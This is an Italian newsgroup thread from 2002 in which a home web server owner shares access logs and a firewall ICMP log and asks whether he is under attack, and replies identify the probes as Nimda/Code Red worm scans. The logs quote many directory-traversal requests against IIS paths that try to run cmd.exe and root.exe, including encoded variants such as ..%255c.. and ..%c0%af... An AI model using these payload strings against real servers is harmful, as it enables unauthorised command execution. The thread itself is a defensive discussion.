Newsgroup: it.comp.sicurezza.windows
Titolo: tentativo d'intrusione... dubbi

Salve a tutti,
ho win2000 patchato alle ultime, adsl e da poco mi sono arrischiato di
attivare sulla connessione praticamente permanente un server web con un
sitello innocuo di foto per gli amici.
L'altro giorno trovo nei log del web server un chiaro tentativo di exploit.
Stringhe tipo queste:
62.241.157.3 - - [23/May/2002:17:54:04 +0100] "GET /scripts/root.exe?/c+dir"
404 258
62.241.157.3 - - [23/May/2002:17:54:05 +0100] "GET /MSADC/root.exe?/c+dir"
404 258
62.241.157.3 - - [23/May/2002:17:54:05 +0100] "GET
/c/winnt/system32/cmd.exe?/c+dir" 404 258
62.241.157.3 - - [23/May/2002:17:54:06 +0100] "GET
/d/winnt/system32/cmd.exe?/c+dir" 404 258
62.241.157.3 - - [23/May/2002:17:54:07 +0100] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir" 403 259
62.241.157.3 - - [23/May/2002:17:54:08 +0100] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir" 403
259
62.241.157.3 - - [23/May/2002:17:54:08 +0100] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir" 403
259
62.241.157.3 - - [23/May/2002:17:54:09 +0100] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir" 403 259
62.241.157.3 - - [23/May/2002:17:54:10 +0100] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir" 403 259
62.241.157.3 - - [23/May/2002:17:54:10 +0100] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir" 403 259
62.241.157.3 - - [23/May/2002:17:54:11 +0100] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir" 403 259
62.241.157.3 - - [23/May/2002:17:54:12 +0100] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir" 403 259
62.241.157.3 - - [23/May/2002:17:54:13 +0100] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir" 403 259
62.241.157.3 - - [23/May/2002:17:54:13 +0100] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir" 403 259
62.241.157.3 - - [23/May/2002:17:54:14 +0100] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir" 403 259
62.241.157.3 - - [23/May/2002:17:54:18 +0100] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir" 403 259
a tutte il server ha risposto con errore 403 o 404 quindi parrebbe tutto ok.
Preciso che il server non e' IIS ne' apache ma un semplicissimo serverino al
quale ho disabilitato CGI e altre possibili fonti di guai. Quindi mi sento
(quasi) tranquillo la notte :) Dico quasi perche' ogni tanto mi viene la
paranoia la sera... <<e se qualcuno o qualcosa s'intrufola nel pc...?!?!>>
Cmq, stamattina vedo questo nel log del firewall e vorrei chiedere a
qualcuno piu' esperto di me che cavolo e'?
62.241.157.3 (stesso del malintenzionato)
Reason              ICMP Traffic
Application        n/a
Start time          25/05/2002 11.02.58
Remote Host     62.241.157.3
Remote port      Destination Unreachable/3
Direction           Inbound
Protocol            ICMP
Local port         Destination Unreachable/3
Sent                  56 bytes
Recieved           0 bytes
e questa tiritera per tutta la notte e a dire il vero anche da altri host
che ho cercato di rintracciare ma non capisco dove o che cosa sono... per
es.   uno  degli host finali del tracert e' questo:
ITuner_Networks.demarc.cogentco.net
Insomma la domanda e': che cosa e' questo flusso di pacchetti ICMP con
quelle caratteristiche? E' meglio disabilitare tutto il traffico ICMP? Sono
pericolosi? Sono vittima di un cracker?
Grazie a chi mi da una risposta esauriente o mi indica una pagina web ove
approfondire.
Bye, zzzar

62.241.157.3 - - [23/May/2002:17:54:08 +0100] "GET
Sono tentativi tipici dei vari nimda codered ecc, i quali utilizzano
questi exploit per accedere ai server iis non patchati.
Anche io su web server Domino ho spesso questi tentativi...non
dovresti avere nessun tipo di problema soprattutto se il server non č
iis e sei hai disabilitato gli script cgi...comunque un backup č
sempre bene farlo...
mik

 Anche io su web server Domino ho spesso questi tentativi...
Io ho creato un modesto web server con Tinyweb sul mio WinXP e i tentativi
di hackeraggio sono all'ordine del giorno.
Pensa che il primo tentativo si verificò dopo appena 4 ore dalla prima
attivazione.
--
Caleb